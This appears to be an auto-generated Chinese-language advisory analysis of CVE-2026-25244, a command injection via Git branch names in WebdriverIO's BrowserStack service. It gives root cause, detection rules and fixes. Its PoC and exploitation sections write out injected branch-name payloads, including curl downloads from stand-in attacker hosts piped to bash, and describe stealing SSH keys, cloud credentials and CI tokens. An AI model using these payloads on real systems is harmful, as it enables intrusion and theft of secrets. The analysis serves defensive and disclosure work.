🎯 CVE-2026-25244 深度技术分析:漏洞根因 · PoC/EXP · 检测指纹
CVE-2026-25244 深度技术分析
摘要:CVE-2026-25244 是 WebdriverIO 生态中 @wdio/browserstack-service 组件存在的一处严重命令注入漏洞,CVSS 评分为 9.8。该漏洞源于 getGitMetadataForAISelection() 函数将未经净化的 Git 分支名直接拼接到 execSync() 调用中,攻击者通过构造包含 Shell 元字符的恶意分支名称,可在测试编排过程中实现远程代码执行(RCE)。该漏洞影响所有 @wdio/browserstack-service 9.24.0 之前的版本,已被官方修复。本文将从根因、攻击链、检测规则和修复缓解等方面进行深度分析。
📌 漏洞概述
CVE-2026-25244 是 WebdriverIO 测试自动化框架中 @wdio/browserstack-service 包的一个命令注入漏洞,由 GitHub Advisory GHSA-5c46-x3qw-q7j7 披露,NVD 评级为 CVSS 9.8(Critical)。该漏洞影响 @wdio/browserstack-service 版本低于 9.24.0,属于 CWE-78:OS 命令注入,OWASP 归类为 A1: Injection。
漏洞的核心触发点是测试编排功能中的“智能选择”(Smart Selection)特性。该特性需要从 Git 仓库获取元数据(如当前分支名),以便决定要运行的测试范围。然而,Git 分支名允许包含 ;、&、|、$(...) 等 Shell 元字符。WebdriverIO 在将分支名传递给 execSync() 时未做任何过滤或转义,导致恶意分支名可以被 Shell 解释为额外命令,从而形成命令注入。
该漏洞已被官方在 9.24.0 版本中修复,CISA KEV 目录尚未收录该漏洞,但鉴于其可被用于攻击 CI/CD 服务器和开发者机器,实际威胁极高。
🔬 漏洞根因分析
漏洞位于 packages/wdio-browserstack-service/src/testorchestration/helpers.ts 文件中的 getGitMetadataForAISelection() 函数(对应提交 ea0e3e00288abced4c739ff9e46c46977b7cdbd2 的第 204 行附近)。该函数的作用是读取当前 Git 仓库的分支信息,并将其用于后续的 AI 测试选择请求。其代码逻辑大致如下:
function getGitMetadataForAISelection() {
const branchName = execSync('git rev-parse --abbrev-ref HEAD').toString().trim();
// ... 后续将 branchName 拼接到其他命令中
const meta = execSync(`git log --oneline -1 ${branchName}`);
// ...
}关键缺陷在于 branchName 直接来自 execSync('git rev-parse --abbrev-ref HEAD') 的输出,而该输出是本地 Git 仓库当前分支的名称。Git 本身对于分支名的限制非常宽松,除了不允许空格、~、^、:、?、*、[、\ 等字符外,允许使用 ;、&、|、$、`、() 等 Shell 元字符。这意味着攻击者可以创建一个分支,例如:
git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"当 WebdriverIO 在该仓库目录中执行测试编排时,getGitMetadataForAISelection() 会首先获取分支名,得到 main;touch${IFS}/tmp/pwned.txt;echo${IFS}PWNED,然后将其直接拼接到后续的 execSync() 命令中。由于没有使用数组参数形式或 execFileSync(),Shell 会按照命令分隔符解析整条字符串。最终执行效果等同于:
git log --oneline -1 main;touch /tmp/pwned.txt;echo PWNED攻击者可以在分支名中嵌入任意 Shell 命令,并且可以使用 ${IFS} 绕过简单的空格过滤,实现任意命令执行。
从设计缺陷角度看,问题不仅在于未对分支名进行清洗,更在于错误使用了 execSync() 拼接用户可控数据。正确的做法应当使用 execFileSync() 配合参数数组,或者至少对分支名进行白名单校验(仅允许字母、数字、下划线、连字符和点)。此外,该函数还会将分支名用于构造其他 Git 命令,因此所有对分支名的拼接都可能成为注入点。
值得注意的是,攻击者无需直接控制 WebdriverIO 配置文件,只要能够将当前工作目录切换到一个恶意 Git 仓库(例如通过 testOrchestrationOptions.runSmartSelection.source 指定来源,或默认使用当前目录),即可触发漏洞。这使得攻击面扩展到任何能影响测试项目仓库的攻击者,尤其是通过恶意 Pull Request 或 Git 子模块等方式。
💥 影响与危害
该漏洞的 CVSS 评分为 9.8,意味着其利用不需要特殊权限,且可以完全破坏机密性、完整性和可用性。具体危害包括:
- 远程代码执行(RCE):攻击者在分支名中嵌入恶意命令,一旦测试编排在 CI/CD 或开发者机器上运行,即可执行任意代码。
- 凭据与机密泄露:CI/CD 环境中通常存放着云服务密钥、数据库密码、API Token 等敏感信息。攻击者可通过执行
env、读取文件等方式窃取这些凭据。 - 源代码与 SSH 私钥外泄:攻击者可以读取并外传整个仓库源码、.ssh 目录下的私钥、其他开发文件等。
- 系统完全沦陷:由于命令以当前用户权限执行,攻击者可以获得测试机器的 shell,进而安装后门、挖矿程序或横向移动。
- 供应链攻击:CI/CD 服务器往往负责构建和发布软件产物。攻击者可通过篡改构建过程、植入恶意代码来污染最终的发布包,影响下游所有用户,形成供应链攻击。
即使 CISA KEV 尚未收录该漏洞,但其在自动化测试和 CI/CD 场景下的高价值使其成为攻击者的首选目标。任何使用 WebdriverIO BrowserStack 服务且开启 Smart Selection 的项目都应视为受影响对象。
🧪 PoC 复现分析
虽然目前没有公开的独立 PoC 仓库,但 GitHub Advisory 中明确给出了可复现的 Git 命令示例。这些命令展示了如何创建包含注入载荷的恶意分支:
git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;rm\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;curl\${IFS}evil.com/evil.sh\${IFS}>/tmp/evil.sh;bash\${IFS}/tmp/evil.sh;echo\${IFS}PWNED"这三条命令分别验证了命令执行的三种典型载荷:
- 文件创建:
touch /tmp/pwned.txt用于验证命令是否被成功执行。 - 文件删除:
rm /tmp/pwned.txt用于清理环境或演示破坏能力。 - 反弹 Shell / 下载执行:通过
curl下载远程脚本并执行,这是完整的 RCE 利用链,可获取反向 shell 或植入后门。
复现步骤通常如下:
- 在测试项目目录中创建上述恶意分支。
- 在 WebdriverIO 配置中设置
testOrchestrationOptions.runSmartSelection.source指向该恶意仓库,或者直接在该目录下运行测试(不设置 source 时默认使用当前目录)。 - 运行 WebdriverIO 测试,触发
getGitMetadataForAISelection()。 - 观察到
/tmp/pwned.txt被创建,或收到来自恶意服务器的请求,证明命令注入成功。
载荷中的 ${IFS} 是一个 Shell 内部字段分隔符,通常被当作空格使用,这样可以绕过一些简单的输入过滤。如果过滤规则仅替换空格,${IFS} 仍然可以发挥作用。此外,攻击者还可以使用 $()、反引号、|、&& 等多种 Shell 语法进行变形,增加检测难度。
⚔️ EXP 利用分析
截至本文撰写时,Exploit-DB 尚未发布公开的 EXP 完整代码。但从漏洞性质来看,利用链可以高度自动化,并针对 CI/CD 环境进行定制。一个典型的攻击流程如下:
- 构造恶意仓库:攻击者在自己的 Git 服务器(如 GitHub、GitLab)上创建一个包含恶意分支的仓库。分支名可以设计为一条极短的“无文件”注入命令,例如:
main;curl${IFS}attacker.com/s.sh|bash。这种设计避免生成额外文件,降低被审计发现的概率。 - 诱导目标使用该仓库:攻击者通过社工或供应链投毒方式,让目标开发者或 CI 流水线配置
testOrchestrationOptions.runSmartSelection.source指向该恶意仓库。另一种方式是通过向目标项目提交 Pull Request,若 PR 的源分支名包含恶意载荷,且 CI 在合并后的代码上运行测试,则可能被触发。不过,如果 CI 只构建合并后的分支,则源分支名不一定可见,因此更多情况下需要直接控制 Git 检出环境。 - 触发测试编排:一旦 WebdriverIO 在恶意仓库目录中启动,并启用了 Smart Selection,就会调用
getGitMetadataForAISelection()。如果分支名可被读取,注入立即发生。 - 执行后渗透操作:攻击者的 shellcode 通常会首先收集环境变量(
env)、读取~/.ssh/id_rsa、~/.aws/credentials、CI 平台的 secret(如$GITHUB_TOKEN),并通过 DNS 查询或 HTTP 请求外带到攻击者服务器。 - 持久化与供应链投毒:在 CI 场景下,攻击者可以修改构建脚本或测试代码,向最终发布产物中植入恶意代码。这样受害者只运行一次恶意分支名的测试,后续所有从该流水线构建发布的版本都会被污染,造成供应链级攻击。
由于 execSync() 默认使用 /bin/sh,攻击者可以利用所有 POSIX Shell 特性。即使在 Windows 环境中,Git Bash 或 WSL 也会提供类似环境,因此该漏洞具有跨平台影响。
从代码审计角度,任何出现在 execSync() 参数中的字符串,只要其源头可被外部影响,都应当视为高危。这里的分支名不仅用于 git log,还可能用于其他拼接命令,例如获取提交信息、计算差异等。每个拼接处都是注入点,修复时必须全面梳理。
🕵️ 检测指纹说明
针对该漏洞,建议使用静态分析工具(如 Semgrep、CodeQL)和运行时监控进行检测。已知的检测规则(Semgrep)如下:
rules:
- id: CVE-2026-25244-rce-js-fixed
languages: [javascript,
typescript]
severity: ERROR
message: "Command injection in execSync() through user-controlled git branch name. Malicious branch names can lead to RCE."
patterns:
- pattern-either:
- pattern: execSync("..." + $CMDVAR)
- pattern: execSync($CMDVAR)
- metavariable-regex:
metavariable: $CMDVAR
regex: .*(branch|ref|BRANCH|REF).*
fix: "const sanitizedBranch = branchName.replace(/[^a-zA-Z0-9_\\-\\.\\/]/g,
'');\nexecSync(`command ${sanitizedBranch}`);"
metadata:
cwe: "CWE-78"
owasp: "A1: Injection"
technology: webdriverio
references:
- "https://github.com/webdriverio/webdriverio/security/advisories/GHSA-5c46-x3qw-q7j7"
- "https://nvd.nist.gov/vuln/detail/CVE-2026-25244"该规则的核心逻辑是:
- 检测所有
execSync()调用,且参数是字符串拼接或直接传入变量。 - 要求变量名匹配
branch|ref|BRANCH|REF,以聚焦于 Git 分支/引用相关的命令。 - 命中后标记为 ERROR,并提供修复建议:使用白名单字符集清洗分支名。
部署方式:
- CI/CD 集成:在项目的 CI 流水线中加入 Semgrep 扫描步骤,运行
semgrep --config cve-2026-25244.yaml,在代码合并前发现类似风险。 - Pre-commit 钩子:使用 pre-commit 框架集成 Semgrep,让开发者在本地提交时就检查。
- CodeQL 补充:CodeQL 的
js/command-line-injection查询也能识别类似模式,可作为纵深防御。 - 运行时监控:在测试服务器上监控
execSync的执行参数,发现包含 Shell 元字符时告警。但更推荐在代码层面直接根除。
该规则可检测出大多数把分支名直接拼入 execSync() 的写法,但攻击者可能通过别名、对象属性等方式间接传递,因此还需要配合代码审计和污点分析。
🛡️ 修复与缓解
官方修复:WebdriverIO 已在版本 9.24.0 中修复该问题。建议所有受影响用户立即升级:
npm install @wdio/browserstack-service@^9.24.0同时确保整个 WebdriverIO 工具链更新到兼容版本。
代码层修复参考:官方推荐在获取分支名后进行白名单过滤,只保留安全字符:
const sanitizedBranch = branchName.replace(/[^a-zA-Z0-9_\-\.\/]/g, '');
execSync(`some-command ${sanitizedBranch}`);更安全的做法是使用 execFileSync() 并传入参数数组,完全避免 Shell 解释:
const { execFileSync } = require('child_process');
execFileSync('git', ['log', '--oneline', '-1', branchName]);如果业务上不需要分支名中的特殊字符,甚至可以直接拒绝包含非白名单字符的分支名,抛出异常终止测试。
缓解措施:
- 避免使用不可信仓库:在
testOrchestrationOptions.runSmartSelection.source中严格设置可信仓库 URL,不要使用当前目录作为自动来源,除非确认该目录可信。 - 禁用 Smart Selection:如果不需要 AI 测试筛选功能,可以完全关闭
runSmartSelection,消除该攻击面。 - 最小权限运行测试:CI/CD 执行环境应使用低权限专用账号,不要暴露过多系统级凭据;限制容器的网络访问能力,防止外带数据。
- 监控异常命令:在测试节点上启用进程监控或审计日志,发现
git log等命令后执行了非预期命令时立即告警。 - 使用安全钩子:在 Git 服务端设置分支名校验规则,拒绝包含
;、&、|、$等字符的分支名。这能从源头阻断大多数利用。
综上,CVE-2026-25244 是一起典型的“可控数据进入系统命令”引起的 RCE 漏洞。其利用条件并不苛刻,但修复方式却很简单——升级版本并规范代码中命令执行方式。所有使用 WebdriverIO 的团队应尽快行动,避免因测试编排通道被攻破而引发更大规模的供应链安全事件。
🕵️ 检测指纹规则
🛡️ Semgrep 审计规则: CVE-2026-25244.yaml
rules:
- id: CVE-2026-25244-rce-js-fixed
languages: [javascript,
typescript]
severity: ERROR
message: "Command injection in execSync() through user-controlled git branch name. Malicious branch names can lead to RCE."
patterns:
- pattern-either:
- pattern: execSync("..." + $CMDVAR)
- pattern: execSync($CMDVAR)
- metavariable-regex:
metavariable: $CMDVAR
regex: .*(branch|ref|BRANCH|REF).*
fix: "const sanitizedBranch = branchName.replace(/[^a-zA-Z0-9_\\-\\.\\/]/g,
'');\nexecSync(`command ${sanitizedBranch}`);"
metadata:
cwe: "CWE-78"
owasp: "A1: Injection"
technology: webdriverio
references:
- "https://github.com/webdriverio/webdriverio/security/advisories/GHSA-5c46-x3qw-q7j7"
- "https://nvd.nist.gov/vuln/detail/CVE-2026-25244"🛡️ CodeQL 审计规则: CVE-2026-25244.ql
/**
* @kind path-problem
* @id javascript/command-injection/cve-2026-25244
* @name Command Injection in @wdio/browserstack-service via git branch name
* @description User-controlled git branch names are interpolated into execSync() calls without sanitization,
allowing remote code execution
* @problem.severity error
* @tags security
* external/cwe/cwe-078
*/
import javascript
import semmle.javascript.security.dataflow.CommandInjectionQuery
class GitBranchSource extends DataFlow::SourceNode {GitBranchSource() {exists(CallExpr ce |
ce.getCalleeName() = "execSync" and
ce.getArgument(0).(StringLiteral).getValue().regexpMatch(".*git.*branch.*--show-current.*")
)
}}class ExecSyncSink extends DataFlow::SinkNode {ExecSyncSink() {exists(CallExpr ce |ce.getCalleeName() = "execSync" and
this.asExpr() = ce.getArgument(0)
)
}}
class CommandInjectionConfig extends TaintTracking::Configuration {CommandInjectionConfig() {this = "CommandInjectionConfig"
}override predicate isSource(DataFlow::Node source) {source.(DataFlow::SourceNode) instanceof GitBranchSource or
source.(DataFlow::SourceNode).(DataFlow::ParameterNode).isParameterOf("getGitMetadataForAISelection") or
exists(DataFlow::SourceNode s |
s.(DataFlow::MethodCallNode).getMethodName() = "execSync" and
s.getArgument(0).(StringLiteral).getValue().regexpMatch(".*git.*branch.*--show-current.*") and
source = s
)
}override predicate isSink(DataFlow::Node sink) {sink instanceof ExecSyncSink
}override predicate isAdditionalTaintStep(DataFlow::Node pred,DataFlow::Node succ) {
// String concatenation or template literal propagation
exists(TemplateLiteral tl |tl.getExpr() = pred.asExpr() and
succ.asExpr() = tl
) or
exists(BinaryExpression be |be.getOperator() = "+" and
(be.getLeftOperand() = pred.asExpr() or be.getRightOperand() = pred.asExpr()) and
succ.asExpr() = be
) or
exists(CallExpr ce |
ce.getCalleeName() = "concat" and
(ce.getReceiver() = pred.asExpr() or ce.getArgument(0) = pred.asExpr()) and
succ.asExpr() = ce
) or
exists(PropertyAccess pa |pa.getBase() = pred.asExpr() and
pa.getPropertyName() = "stdout" and
succ.asExpr() = pa
) or
exists(VariableDeclaration vd |
vd.getVariable().getName() = ["source","branch","gitBranch"] and
vd.getInit() = pred.asExpr() and
succ.asExpr() = vd.getVariable().getAnAccess()
)
}}from DataFlow::PathNode source,DataFlow::PathNode sink,CommandInjectionConfig config
where config.hasFlowPath(source,sink)
select sink.getNode(),source,sink,"User-controlled git branch name $@ flows to execSync(),
leading to command injection vulnerability",source.getNode(),"user-controlled branch name"🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-01 08:09 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库